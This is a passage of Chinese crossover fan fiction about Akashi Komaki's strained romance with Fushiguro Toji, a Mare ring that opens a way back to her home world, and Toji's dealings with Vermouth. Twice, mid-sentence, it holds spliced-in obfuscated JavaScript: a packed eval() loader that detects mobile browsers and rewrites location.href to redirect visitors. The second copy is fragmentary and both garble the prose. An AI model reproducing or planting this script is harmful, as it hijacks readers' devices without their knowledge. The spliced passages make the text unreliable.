顺利看完了整场魔术,现场掌声雷动,谢幕后散场。 两人牵着手走在节日气氛浓重的街上,适时又下起了雪。小莳抱着伏黑甚尔的胳膊,笑容像月下山间清泉一样耀眼:“圣诞节下雪,是吉兆。会有好事发生的,甚尔。” “嗯。” 今晚难得灰原哀和伙伴们相聚到很晚,干脆不回来住,伏黑甚尔也乐得少准备一人的餐。晚间和小莳一起坐在沙发上看电视的也变成了他。 小莳期待了一阵子的电影,今天一看发现它最吸引人的环节是数月前3分钟预告片,本体甚是惹人犯困。 伏黑甚尔想了想,也说了些自己以前的事情,稍微介绍了一下生长的环境,禅院家。毕竟出社会就不是单身了,这段事情也没不必和现女友分享。 小莳头搁在他肩上,卧在怀里听得一愣一愣的。“如果是我在那边,感觉我和他们中总有一方活不过第三集。好奇葩的家族,不像京都,像偏选山区。”建议人狼村在禅院家开拍,听起来哦氛围什么都太合适了。 但她倒没在甚尔身上发现那种令人讨厌的情节:“幸好你小时候不太受重视,看来从小被家里人嫌弃也避免了被不正当价值观的戕害。我是觉得甚尔瞧不起包括自己在内的所有人,固然扭曲,好歹一视同仁,这就是你的可爱之处。如果捧高踩低,前倨后恭,又轻贱女性,那就着实惹人讨厌了。” 不尊重所有人,还真是敏锐,但伏黑甚尔听到后面眉头一皱:“扭曲?” “这,俗话说得好,健康的恋爱固然重要,但畸形的恋爱实在动人。”总之不用在意这些细节。 “……” 小莳做好一个女朋友的职责,把话题拉扯到和对象一起骂原生家庭这件事上:“不过那个什么禅院家族迟早要完,你不用太在意那些往事。” “为什么会这么说?” “诶?”这不是一眼就能看出来的事情吗?小莳心想现在可是二十一世纪,老古董们早晚该进坟墓了:“第一,他们把女人当奴才使唤;第二,那边男人和女人数量大致相当;第三,据你所说,术式类型基本都是生得术式,也就是天生的,这点上没什么性别特权,那也会有拥有厉害术式却得不到应有尊重的女人。这样下去被压迫的一半人口总该也有人愤怒起来选择反抗,可见祸起萧墙的概率着实不小。” 伏黑甚尔不以为然,想摆脱那种如影随形的影响,只有套的够快,这也是他自己选择的方案:“你把禅院家想的太简单了。阶级分明的家族,即使有反抗也会遭遇层层的阻拦,然后被扼杀。旁支和被送来服侍嫡子嫡女的仆从就有数百人计,更不用说还有躯俱留和炳两个护卫组织,除了身处最底层的杂碎,每个人都有可以压迫的对象。正因为如此才有稳固的阶级。” 小莳惊讶:“但他们说什么非咒术师无以为人,非禅院无以为咒术师,结果家族里一个特级坐镇都没有,听起来所有人都很弱的样子啊?” 听男朋友说,禅院家目前最厉害的就是一个一级,还是家主,感觉不值一提。以为已经江河日下到百足之虫死而不僵的程度了,没想到也还挺严谨哈?和她想的不一样。 “……”家主一级也没有很糟糕,这姑娘眼光倒高。 伏黑甚尔一下子被小莳言语中透露出的轻视和心气噎住,一时不知道该说什么,他想说一级才是咒术师的中坚力量,特级总共也只有三位。不过话到嘴边,他又意识到没必要帮咒术师们说话,本来也不是值得在意的,于是闭口不再提。 她难得和他聊起以前的事情,还是他自己主动提起,又问了些好奇的问题:“甚尔以前在家里是什么情况?你是男性,出生就小赢,看起来也挺强,按理说长不成反社会的样子。我很好奇,方便说吗?” 伏黑甚尔一下子笑不出来了,但是小莳又很期待的等着,他重新整理好表情,手指敲了敲她额头:“真遗憾,我天与咒缚,不是咒术师。” “?那又是什么。” “不说了,睡了。” 关上电视,伏黑甚尔一把抱起女友,回房。 小莳对没听说过的名词还是有点在意的,软磨硬泡了半天,见他还是一副困了倦了的表情,生气指责:“亲也亲了,摸也摸了,你刚才可不困,装给谁看呢,哼!” 伏黑甚尔就是不理她。 这也成了小莳每天睡前必问的问题,毕竟:“话都说一半了,不说完,你自己不觉得离谱吗?而且我只是想更了解甚尔一点!” 工藤新一家搬来了可疑的领居,波洛咖啡厅来了新的帅气服务员,直到2月春假,伏黑甚尔还是不肯说。 她便索性不问了,两个月了!男朋友不愿意开口,她也实在没有办法,只好安慰自己,等他愿意分享的那一天他会自己开口的。虽然小莳十分怀疑是否会等来这一天。 春假过半,正值3月初,赤司征臣结束了一单大生意,要宴请宾客,按照规矩,小莳和征十郎都要回京都本家。 根据指示,不得缺席。 家里还有个7岁小朋友,忌惮工藤宅搬来了一阵子的自称冲矢昴的粉毛东大研究生,回不去阿笠博士家。小莳便留下了男友,和兄长回家接受生活的鞭打。 赤司征十郎觉得本家的生活不至于那么窒息,比起人口众多的大规模亲戚聚集已经好上不少:“小莳,夸张了。” “我所言全部发自肺腑,私人飞机都用上了,感觉回去就要被关起来出不去门咯!” “……”真不至于。 父亲和妹妹的关系一直僵持,为人兄长为人子总是替两人担忧。 小莳回到宅邸,先是和征十郎见过了父亲。随后父子两人长谈,小莳被管家领着回了房间,此后几天,除了用餐,她都没主动出过房间。 宴会那天也是如此,直到被管家传话,她才慢腾腾着上礼服前往。热闹的会场,寒暄的宾客,觥筹交错的场面,每个人的脸上挂着差不多的标准笑意,说着她懒得分辨的祝贺之语,再夸夸兄长的一表人才,肯定赤司征臣的杰出教育家身份。 这场面她早也不陌生,只是虽然一如既往嫌弃,现在也由不得她拒绝了。 她从甜品盘吃到水果巧克力喷泉,在碰到香槟塔的时候被急匆匆赶来的兄长拉走。又被拉着跳舞寒暄,关心学业。 持续到深夜才散场。 晚宴算不上是多大的委屈,但这不代表她就乐意参加,不爽还是不爽。 回到房间,小莳礼裙也没脱,直接躺着睡着了。 伏黑甚尔和小莳的在线联系截止到晚宴的前一小时。 小莳的最后一条消息停留在:礼服没有放置手机的地方,先不联系啦(〃''▽''〃) 附上一张镜前照片。 伏黑甚尔觉得女友很是好看,也很诚实的给予了赞美。 然后那边就音讯全无,2天。 伏黑甚尔有打了几次电话,无人接听。他不太高兴,让灰原哀也打了几次小莳的电话。 “你们既然没吵架,她肯定也不是有意失联,我打电话也没用啊。”灰原哀这么说着,还是听话联系了小莳。 一分钟后自动挂断。 灰原哀一脸我就说吧的表情,宽慰心情不佳的室友:“看吧,一样。别担心,她说不定只是这两天太忙了没空接电话。社会新闻上写的是晚宴顺利举办,虽然没有拍摄照片,记者无疑是在现场待到结束的。” 这并不足以让人放下心。 伏黑甚尔决定前往京都。 宴会上小莳的emo在场其余两位赤司都能看出来,第二天她没有出现在餐桌上并不叫人意外。赤司征臣认为小女儿实在是无理取闹,但又管不住她,只让管家不许给她送饭。 “等她饿了自然会出来。”丢下这一句给管家的指示,他就专注于和长子谈工作,给他布置任务。 在傍晚时分,赤司征十郎才得空爬上吱呀作响的木质楼梯,到楼上看望小莳。 赤司家的宅邸经过几代人多轮翻修,每次都会换掉一点老旧的设施,总有一天保养无用的楼梯也会被替换,就如同昨天宴会的长廊和厅堂,它们在小莳失踪后的几年就被上一轮翻修带走了,具体大概是在赤司征十郎上国小的某一年,然后变成了现在开阔华丽的欧式风格。 赤司征十郎敲门时没人应声,片刻后他自己进去了,门没锁,他手上还端着管家准备的水果盘。 小莳身上仍然是那身晚宴后没脱下的礼服,她整个人呈大字仰躺在床上,一动不动,像是在透过天花板遥望天空。房间里唯一的声音是木门被推开,合页不堪重负的咿呀声。 直到又过了十几秒她才转过头去看向不请自来的兄长。 “来点水果吗?” 小莳枕着床铺缓缓摇头,床铺上摊开的一片白发也随之移动。 这副样子让赤司征十郎拿她没办法,他推测小莳只是不喜应酬,就试探性发问:“想回东京吗?” 小莳还是摇头。 他坐到床沿,将水果放在一边,俯身看幼妹。她身上久违的封闭和疏离感与初来时相似,感受到这一点,他便没有再说话,耐心等她自己开口给点提示。 “征十郎。” “我在,怎么了?” “我觉得还是告诉你比较好。”小莳找到兄长摊开的手心,主动拉着将它贴到自己的面颊,“我和伏黑甚尔在一起了。” “……” “今早,我的手里出现了这个。”小莳举起右手,赤司征十郎看见她手中承托的一枚戒指,通体银色,其中镶嵌着一颗不小的青色宝石,亮度不高的室内也有着绿莹莹的反光,只消一眼他就判断出这价值不菲:宝石边以两扇小翅膀点缀,材质是不为人知的金属。 赤司征十郎一时失语:“……” “你不会以为这是求婚戒指……吧?”小莳没等来兄长的回应,对上视线就知道对方想得太偏,拍头轻叹:“怪我没说明白。” 她选择示范给兄长看。 熟练地戴上久违的指环,虽然不是她最熟悉的那个带有彭格列logo的,但这枚玛雷指环她曾经在记忆中见过,此前它先后属于……幻骑士和ghost。 与彭格列指环同属世界基石,玛雷指环也有着卓越的力量。虽不清楚为什么被封印十多年的玛雷指环,其中雾属性的那枚会响应她的期待,跨越世界间的障壁来到她手中。总归于她而言,这是两年里发生的最值得喜悦的一件事。 但仔细一想,玛雷指环象征着宽阔的海洋,勾连不知凡几的平行世界,在某个平行世界里白兰就藉由这份力量差点统治了几万万个宇宙。如果单论可能性的话,代表海洋的力量是能做到这一层的。 只是她还以为只有大空属性的指环才这么厉害,没想到海洋上的雾气弥漫竟然也能抵达彼岸。 催动死气之炎的步骤早已实践过成千上万次,今早得到指环后也演练了数遍。很快,赤司征十郎顺着小莳手指的方向看去,见到墙面上又出现了一扇闭合的门,他想,大概通过这扇门,小莳就能回到来处。 “哥哥,我去年和你说起过那边的事情的。”小莳给兄长念起代代相传的、自己从小听到大歌谣,告诉他自己原先所在的一方世界。现在,隔世的洋流指引了游子归乡的路线。 【海广阔无边而不知限,虹时隐时现而飘渺无常,贝代代相叠其姿态由而继承。】 小莳翻个身起床,低声絮絮叨叨和兄长说起自己原先的日常,关于住所,关于伙伴:“我在那边有些房子,大部分在意大利,日本的话一般就住在义兄的家中。房间很小,不算温馨,但我可以把它变得很大很大,一整个赤司宅那么大也不在话下。我大部分时间和我的幻想助理住在一起,他性格偶尔比较阴暗潮湿,这种时候我会让他滚几天,但除此之外我们几乎都是在一起搭伙生活。他做饭很好吃,开始是我跟着食谱一步一步下指令,又演变成他自己学习摸索…我的同事们人也不错,挺值得怀念……” 说到最后,她叹息:“我在这里过得并不算差,也算不得多好。我知道征十郎会支持我回去的,但是--” “你不知道该怎么和他说?”赤司征十郎接话,问的是伏黑甚尔。 “啊?不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413099|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我暂时不打算和他说,也没有打算立刻就回去。在更好的事情出现的时候,我反正没想到他,只不过突然就觉得这时可以和你交代的事情了。”小莳很诚实的说出了自己心思,现在想来这个恋爱两个人都不算全心全意在谈:“只是,太突然了。我原本什么都没有准备……哥你知道,就人生态度而言,我姑且算是个实用主义者,幻想能回到更令我舒适的环境只不过会让我在这的生活显得有点可悲,所以以前我不考虑这些。” 小莳停顿了一会,接着语气透露着不敢置信:“但是突然,它就出现了。比起思考该不该和男友坦白、要不要立刻回去,我现在更多还是……茫然,你说这世界怎么会如此荒诞?” 赤司征十郎没觉得这一切有多不可思议,他更觉得幼妹现在就可以分手。在此之前,他要把一切都问清楚,他才是真正的实用主义者,回家和做mafia都是以后的事情:“你们什么时候在一起的?” 小莳现在还没完全从麻木中恢复过来,乖乖回答并且主动和兄长解释了一系列前因后果:“从医院醒来那天……太上贵德,其次务施报。我这是发扬报恩的优秀美德,恋爱只是顺便。” 赤司征十郎计算着时间,推算一下已经过了一个季度多:“那么小莳现在突然和我说这些的意图是?” “只是突然想和征十郎坦白一下:如果我连100分震惊的事情都能和你分享,那按理说50分震惊的事情也应该一同告知。而且我的本意是先告诉你点轻松愉快的消息缓冲一下,没想到恋爱才是更令征十郎惊讶的部分吗?”小莳越说越觉得不可思议,“如果我回去的话我可是要做Mafia的哦?!与之相比花季少女坠入爱河难道不是非常非常正常的事情!” 赤司征十郎重申:“伏黑甚尔以前流连花丛,不是合适小莳的恋爱对象。” “……”这根本不是重点吧!小莳本来无所适从的心情这下全部消失了,只留下无奈。 “你们什么时候分手?”最好现在就打电话给他结束这段错误的感情。 小莳觉得自家兄长被偏见蒙蔽了双眼:“……我最近和甚尔感情良好,还没有考虑分手呢。” “那是因为他在欺骗你的感情。”赤司征十郎选择性忽略自家妹妹一想到要回家把男朋友抛到九霄云外这件事,她根本没考虑到他。 ……感觉甚尔没有那个能耐,这是可以说的吗?小莳终于还是说出了那句敷衍的话:“其实他对我还不错。” 说完她就得到了兄长一脸“你果然被骗了”的不赞同表情。 她哭笑不得:“你别管了哥,下次一定,我下次一定谈个没有恋爱经验的。我保证!” “……或者你直接用指环离开这里吧。” “哥,是谁教你这样折中的。” 本来想聊的内容是一点没说到,兄妹的最后对话以赤司征十郎的妥协为结束:“你做什么选择我都支持,只不过,记得把水果吃了,别饿坏肚子。”然后走出房间。 小莳又在房间里闷了一天。 直到年岁甚至要超越她的那扇窗户被啪的一下打穿,被清洁得一尘不染的透亮玻璃彻底结束了使命。犯案人是不过几日未见的男友,扰乱了她目前心烦意乱的根源。 “……”他怎么来了,小莳心虚,她现在一点也不想告诉他关于已经可以回家的事情。 小莳身上穿着欧式风格的睡衣,身上还盖着薄毯。床边地上是一团高档材质的布料,伏黑甚尔凭颜色依稀可以识别出来是宴会那一件。 在他翻进来的时候小莳被毛毯遮掩住的手就去掉了指环,然后伸手将其悄悄藏在枕头下面。 “你一直没有消息,怎么了?”伏黑甚尔三两步走到床边,一手便将小莳从床上揽起,让她依靠在自己怀里,小莳也乖乖顺着他。 她又闻到他身上淡淡的香气,她大概还是挺喜欢伏黑甚尔的,不然说不定就顺着兄长的情急之下的提议直接回原来的世界了,无论是意大利还是并盛,都比京都好太多。 她说:“是发生了一些事情,但是已经结束了。” 伏黑甚尔没探究更多,只问什么时候回家,小莳想了想说今天就行。说来也怪,小莳一两天没吃正餐,本来是不觉得饥饿的,但男友一来她就觉得肚子里空空的,她决定今晚下去用餐。 中午兄长又来了一趟,小莳让伏黑甚尔紧急躲到衣柜里,他照做。 赤司征十郎看看靠近窗户的一地玻璃,又看见小莳左右乱瞟的可疑眼神,没有多思考,他问小莳:“在哪?” 小莳:“……” 一阵鸡飞狗跳,伏黑甚尔又走正门入场了一次,这次他受到了妥善的招待,以小莳小姐助理的身份。 看来今天是回不去东京了。 晚间,小莳自己摸到了客房,在伏黑甚尔有点惊讶的眼神中警告他噤声,“什么都别说,什么也别问。”然后钻进被窝,搂着伏黑甚尔,将头埋在他颈窝处。一个人在自己的床上翻来覆去怎么也睡不着,小莳就不明白了,这男朋友到底有什么勾人之处,让她自己连觉都睡不好,得找过来让他陪着才行。 伏黑甚尔很顺从地保持了沉默。 过了一会小莳的腿也搭在男友身上,两人靠得更近。又一会,小莳开始主动亲吻他。 由她主导了一阵子,很快,伏黑甚尔夺取了主动权,两人的吻也演变成更亲密的肢体互动。 等小莳气喘吁吁地将扣子一个个扣回去时,伏黑甚尔从身后靠上来,“今天怎么这么热情?” “……”不是让你什么都别问的吗!小莳手肘给了背后那人一下,不出意料被用手掌化解,她转身过去自暴自弃一样的承认:“啊对对对,我就是有些想你了,怎样,不可以吗?” 在感情还不错的时候,喜欢一下男朋友有什么问题,显然没有。虽然不是在一开始就想到伏黑甚尔,但在他来了之后,小莳意识到,自己并不能就这样回去,她在这边还有未完成的事情,比如和他的恋爱。小莳气鼓鼓地想,这不是自讨苦吃,这叫勇于实践,有前任怎么了?等谈完这个她也是有前任的人了,妨碍谈下一个吗?不妨碍! 亲热之后浑身的燥热还是难以消退,小莳的思绪被割裂成两半,一半主张抛下这个男朋友然后离开。劝说着她:他还有悲惨的童年,心理也不是很健康,还有个小孩。另一半唯唯诺诺无法反驳,可是她知道,既然在这种情况下她还选择了他,还特地在本家跨越半层楼跑到他的客房找他,能驱动这些非理性行为的本身就是极致的感性,在正式思考之前就有了结果。 小莳只好往男朋友怀里钻了钻,抱紧。 如果……如果新年他们还在一起,她就问问他要不要和她一起回家。 “可以。”伏黑甚尔轻笑,过了一会小莳才后知后觉他是在回应刚刚自己的话。 在那之后的事情她往后已经不怎么记得,只记得自己问了一个错误的问题。 “……甚尔,你有多喜欢我?” “?” “你回答就是了!”小莳之前一直觉得情侣中问这种问题格外幼稚,首先,对方难道还能说“其实也没有多喜欢”?必然是说点好听的;其次,这里是床上,床上的话说完床下就忘了。因此这种问题属实没有含金量可言。 结果现在要问的也是她自己,不仅如此,她还该死的很期待对方的回答。 更糟糕的是,伏黑甚尔回了沉默。 32. 第 32 章 甚尔什么也没说,见鬼,他什么也没说。 小莳的脑袋里响起一阵嗡鸣,这只是前菜,沙拉是“我早说吧!”,主食是迟来的自我警告。 伏黑甚尔不是什么谈恋爱的好人选,她一直知道,征十郎也是这么说的。结果一谈起恋爱来就发狠了忘情了没命了,她还在某一个瞬间幻想着要带伏黑甚尔一起回去,也许他们以后可以一起生活。 最后的甜点是来自世界的仁慈。幸好即使她确实有过这样天真的想法,邀约并没有宣之于口,她甚至没有和征十郎提起过,不然真的要被笑掉大牙了。 没有回应也是一种应答。 小莳想到了自己存在感都不算高的两位父亲。第一位,泽田家光,小莳从小到大见过他不少次,愣是一声“爸”没叫过,张口闭口只称呼他为门外顾问:他是一个不管因为什么原因,缺席了几乎一切的家庭成员,实在当不起她一声父亲的称呼,有的人愿意相信父爱如山,小莳恰好不是其中之一;第二位,赤司征臣,慈母严父可能是这个世界的标准配置,可惜她的生母走得早,只留下个丧失沟通能力的父亲,他也许真的有努力搞亲子关系,但是成效不妙,唯一感动的人是被pua惯了的兄长,她对此毫无兴趣。 有个地狱笑话是这么说的,东亚的小女孩终其一生都被父权所支配。小莳本人一点儿也不愿意相信,结果她初恋的对象像泽田家光一样缺席,又像赤司征臣一样没长嘴。 而她也就是在这一刻认清了这一点,也同时挖掘出自己的心:她想和他在一起。 这一认知让小莳如坠冰窟,她所在的怀抱十分温暖,那是属于伏黑甚尔的胸膛和臂弯,但那里没有了让她觉得好闻的香气。 也许她下次该谈个外国人,看看是不是人种的问题。也不该如此,无论是恭弥还是武,都是日本人,怎么他们谈恋爱就顺顺利利的?除了争风吃醋和打架的部分……一切顺利。 扯远了,他人成功的恋爱经验并没有办法在这段挫折磨难的情感里对她有所助益,她还是得自己面对沉默寡言吝啬于开口的男友。 他的怀抱于她就像冷月照在厚雪上,是加倍的寒冷。小莳不太好受。 “没事,忘了吧。”小莳从床上爬起来,初春的夜晚空气刺激得她想打个喷嚏,一阵子前的甜蜜就像幻觉一样,也许一切都是荷尔蒙作祟,也许只是她想象中的爱情,而无论如何现在她都该离开,“我要去睡觉了,你也早些休息。” 就像来的时候一样,小莳回房的时候也保持静悄悄,没闹出一点动静。 三月初的京都,距离樱花季还有两周,小莳就在这里给自己的恋爱画了个句号。 第二天,她当做什么都没发生一样和兄长和父亲告别,带着男友回到公寓。 怎么说呢,小莳没有忘记这场恋爱始于伏黑甚尔对她的恩情,要正式结束那也得终于伏黑甚尔本人的意愿才行,小莳在这方面保持着分寸,并不打算让对方知道自己已经抽身而出。 伏黑甚尔并不是个脑袋转不过弯的人,相反他的各方面感觉十分敏锐,他在小莳说完话之前就察觉出她的期待,也在她离开之前就发现她的失望。 他只是觉得没必要把事情拿到台面上来说,而且她确实问出了难以回答的问题。伏黑甚尔在女友离开后短暂的思考了一下。如果他确实很喜欢她,不出意外他们会一直在一起,那么这个问题没有被提出的必要;如果他的喜欢程度也就一般般,那他某一天自己就会离开,也没有回答的必要。更何况,他觉得他们之间还没有到要思考这段感情存在意义的程度,等真正快到非考量不行的程度,说不定也正是结束之时。 综上所述:船到桥头自然直,与其多想不如睡觉。 回去以后女友也确实表现一切如常,正符合他的预期。他们还一起吃饭一起睡觉,直到四月份,帝丹高中春季开学。 灰原哀在隔壁实验室里专心实验,一天只吃两顿饭,伏黑甚尔并不怎么在意她,也无意劝她保重身体。小莳的便当他每天也都准备,其次就是早晚两顿饭,除此之外他又有了很多空余的时间。 伏黑甚尔重新找回了自己的爱好,竞马。 而某一天他偶遇克丽丝·温亚德以后,后面发生的事情也就顺理成章。伏黑甚尔不在乎这是不是真的偶遇,但是有女人愿意帮他掏钱,助力他培养兴趣爱好兼发财,他乐意之至。 至于这位出手慷慨的女演员的真实目的和身份,他没什么兴趣知晓,连带她几次抛出的橄榄枝也一并拒绝,倒是顺便留下了她赠与的钥匙。 只是顺便,他是有女朋友的人,不出意外当然是和小莳住一起……一时手快收钥匙纯属身体记忆,以前居无定所的时候会随机挑选一些也有此意的女性和她们回家一阵。 “喂,你这样的花销即使是赤司大小姐也养不起吧?”贝尔摩德在拿到上个月信用卡账单后,特地跑了一趟组织的安全屋,没有在里面看到人,发现跑空门后她立刻给伏黑甚尔打了电话。开玩笑,她固然不是什么缺钱的主,但这个花销未免也太? “花了这么多钱竞马,我请问有任何回报吗?”贝尔摩德也不敢相信有一天自己会和人大谈特谈投入产出比,“账单上还有一笔水产店的钱,你有什么头绪吗伏黑?居然还用我的卡买菜!” 安全屋里根本没有被使用过的迹象,他花她的钱,居然还连吃带拿! 而她所得到的全部回应是对方懒洋洋且并不真诚的一句:“啊,抱歉,打错电话了。再见。” 贝尔摩德从通讯录找到的联系方式,怎么可能打错,现在又不是要记得电话号码还要拨号的年代! 在灰原哀难得好奇的目光下,伏黑甚尔没什么诚意地打发她:“打错电话的。” “我听见了,她叫你伏黑。”话说这声音是不是有点耳熟……怎么听起来像组织里的人,噫,晦气,好端端的想他们做什么。 “那又怎样,你安心吃饭。不该管的不要管。” “你背着小莳还和其他女性有往来吗?”灰原哀放下碗筷,直接问他,“如果是这样的话那我要告诉她。”于情,她们是好友;于理,女性、语气恼怒、关键词:养不起,这情况一听就不是打错电话。 “……只是竞马时候认识的赞助人。” 即使对竞马没有了解,这套说辞也并不能说服灰原哀,她在小莳回来以后,趁着伏黑甚尔出门倒垃圾的功夫稍微提醒了她。 “喂,你最近怎么样?” “除了每天得出勤学校外一切都好。问就是怀念不用上学的日子。”小莳一脸被学校榨干的疲惫,“虽然什么都没做但真是辛苦我自己了。” “……我不是说这个。” “那是?” “我说你啊,也稍微注意下身边的人吧。”比如你男朋友现在很有认识其他人的嫌疑,快给我提起警惕之心啊! 小莳:“蛤?” 看见她一脸不明所以的样子灰原哀就替她着急,直接把人拉到房间里说明了今天的情况。哪知道小莳听完以后一副波澜不惊的表情,还请求她装作什么都不知道。 “……”不是,这是在做什么。灰原哀惊讶,在她不知道的时候有人解锁了委曲求全的正牌女友剧本吗? “你别露出这种表情,放心,一切尽在掌握之中。”给灰原哀比了个OK的手势,小莳还认真对她表达了感谢。 “好吧,我该说的都说了,你自己注意。”于是她就当赤司小莳真的心里有数了,虽然最近关系比较亲密,但她们并非无话不谈的密友,既然小莳自己都说没问题,那她也不干涉。 “OKOK。” * 晚上,伏黑甚尔还暗戳戳询问灰原哀的情况。“灰原哀,她和你说什么了吗?” 小莳听见这话立刻就不困了,转身久违地靠近伏黑甚尔,问他:“她应该和我说什么吗?” “不,没什么。”伏黑甚尔见她是这反应,觉得无事发生,反倒不说了,“今天你上学的时候我们说了两句话。” “嗯,然后呢?” “没了。” “就这样?”小莳支起身子歪着头,满头银白色的发丝顺着她的肩垂下,她似乎在等伏黑甚尔说什么:“那我睡了?” 可惜男友并没有什么反应,他说:“嗯,晚安。” 小莳发现,他总是什么都不说。 小莳裹着自己那半边被子翻过身去就睡下了。 一夜无话。 接下来的生活也相当平淡,要说什么让伏黑甚尔比较不爽,那就是无论女友和他多么没话可说,她每天和兄长都有讲不完的话。 小莳并不是每一餐都在家用,渐渐地,伏黑甚尔偶尔只热自己和灰原哀的早餐,小莳为了多睡一刻钟会放弃家庭早餐,选择打包三明治带去学校;中午,有时她会和名气渐响的天内理子一起午餐,有时还会和她还有铃木园子毛利兰一起出现在社交平台上。 他也不再是小莳会主动分享日常的第一人,有时是兄长赤司征十郎,有时是同学们,有时是灰原哀。有一天伏黑甚尔甚至在晚间洗澡后发现小莳再给他以为很久没有联系的网友田所惠分享小猫视频。 她对家门口的流浪狗都有点话说,偏偏和他这个男友日渐生分。 伏黑甚尔对温水煮青蛙一样的生活失去了敏锐的知觉,但他确实意识到了哪里不对,只是当他想抓住某个不对劲的瞬间时,往往失败。理智告诉他,一切都没有问题,只是感情进入了必经的平淡期。 但总有种微妙的既视感,像每一次他自信满满觉得自己投注成功,结果没赢过任何场次。在他等待最终结果出来的时候内心往往就会有那样的微妙参差。 钱没了总有办法,但面对小莳,他情愿谨慎一些。 于是他做出了让自己未来会后悔不已的决定。首先排除和女友直接交流,其次Pass掉不信任的灰原哀和听不懂人话的每日投喂目标流浪狗【黑宝】,他去询问了无利益关系第三方,克丽丝·温亚德。 * 伏黑甚尔想得不复杂,且自以为很明智。 首先,克丽丝是一个看上去就很精通恋爱的女士;其次,她也知道他和赤司小莳的关系,解释起来不用费劲;第三,她对他说的一切看起来都乐于倾听,并且给出的回答在他看来很中肯。 而她索要作为回报的不过是一个任务的辅助工作。 相同气场的人总是能在社交场合彼此识别,他大概知道光鲜亮丽的演员外表下,克丽丝指定是有些兼职在身上,而既然她的表面身份都是如此的高调又身价不菲,潜藏在其下的内里只会更有挖掘价值,不然她直接做个一线女明星就行了。 说不定是什么集团的干部。如果能顺便给自己带来点零散的兼职就好了,伏黑甚尔这么想着。他是真觉得自己有朝一日竞马能盆满钵满,只是在那之前需要更多的、更长线的投资。 “过两周新上任的贸易促进协会会长即将下榻杯户酒店,顺便就环保问题在会堂发表演讲。我作为收到邀请函的女明星,没个保镖怎么可以?” “成交。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413100|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“届时,不在场证明就靠你了,伏黑先生。”电话里,贝尔摩德语声妩媚,风情万种。 她给出的第一点度过平淡期的建议就是,过度家务让人失去魅力,立刻停止;叫外卖,使用家政服务,随便什么。 “偶尔一次两次的浪漫还挺让人感动,但你居然天天买菜做饭。再这样下去那位大小姐怕不是分不清你和煮饭公。” 于是不知道从什么时候起,小莳发现家里停止了开伙,连续一阵子只有外卖。她想,大概男朋友最近在忙些其他的事,只好随便敷衍敷衍她。 灰原哀对此并无意见,伏黑甚尔的料理技术是不错,但她对食物并不挑剔,这些日子难得关于aptx-4869的解药研究又有了些进展。如果有这个选项的话,她情愿每天喝一罐维持生存的营养液,然后在实验室里和她的对照组们还有小白鼠做一些不知天地为何物的研究。 灰原哀甚至连电视都没工夫看了。说到底她也有自己的坚持和骄傲,与其将一切都托付他人,不如尽可能的做自己能做的事情,以期在未来某个必要的时间派上用场。公安、警察、侦探,他们若是真的那么有用,她又何故在组织里生长到成人? 她想亲手研究出解药。可喜的成果也好,无谓的挣扎也罢,作为研究人员,在这种时候她能做的也就是尽一切可能破解化学式里的谜题,至于如何应用……交给江户川吧。 至于她长姐的逝去,原本的诸星大竟然是FBI卧底,现在更是化身冲矢昴借宿在工藤宅,这些事情就随它去,她不愿意再多想。 小莳对江户川柯南近期在做的事情了解不太多,只是偶尔会顺便听灰原和他聊两句进展,最近那个组织里的卧底好像有点多,怎么公安都混进去了?她是公寓里三人中生活成分最单纯不复杂的。 每天上学,下课,回家。娱乐活动是很单纯的手机和女孩子间的社交。由于理子的强烈建议,她还重拾了阅读这一习惯。 事情起源于黄濑阳菜对理子发展规划的敏锐嗅觉。这年头光是唱唱跳跳拍照片的idol是缺乏竞争力的,日常和粉丝的互动十分重要,理子竟然有着阅读的爱好,功课成绩也还不错,对于读书,身为经纪人兼义姐的黄濑阳菜自然是大力支持。 阅读之余还可以凹一下人设。 于是互联网读书茶话会正式开张,理子是主角,小莳是常驻嘉宾,黄濑凉太是飞行嘉宾,策划、拍摄、剪辑、后期全由黄濑阳菜一人担当。 关于想捧红理子和锻炼突破作为经纪人的边界,她是认真的。 除此之外,小莳还致力于帮人解决情感问题。 新的一年,黑子哲也遇到了青峰大辉和火神大我两名强势选手的追求,当他最终决定向小莳寻求这方面建议时,小莳强烈推荐他allin了。 不知道结果怎么样,因为在那之后哲也就再也不和她聊这些了。 除了黑子哲也实际上性别为男这一点,被高大暖男笨蛋一号和黑皮忠犬笨蛋二号同时追逐简直就像是少女漫同款剧情,如果有条件的话她是愿意多聊几毛钱的。 可惜一开始好像把哲也吓到了,早知道就先初选火神股,然后见机行事了,可恶! 小莳自己的恋爱反而是最最最其次的事情。 她心里已经把伏黑甚尔定在前夫哥的位置上了。在京都那之后,她就不太愿意思考过多关于伏黑甚尔的事情,他的过去,他的心结,他曾经的感情……想多了于己无益,更何况这真的有些丢人。 一想到有那么即使一个瞬间她认真的动过感情,她就有一种输了的感觉,更何况岂止瞬间,她有那么一个月,算了,不能太抬举伏黑甚尔;她有那么几天,是抛却了一切顾忌和杂念,只以爱情为目接触男友的,也就是情感小说里常见的“坠入爱河”这一说法。 一想到她此前在想着未来,想着以后,对方却说不定残忍但是漠不关心的过好自己的每一天,她就难以忍受怎么会有这么窝囊的恋爱,更窝囊的是这样的感情居然是她本人在谈。 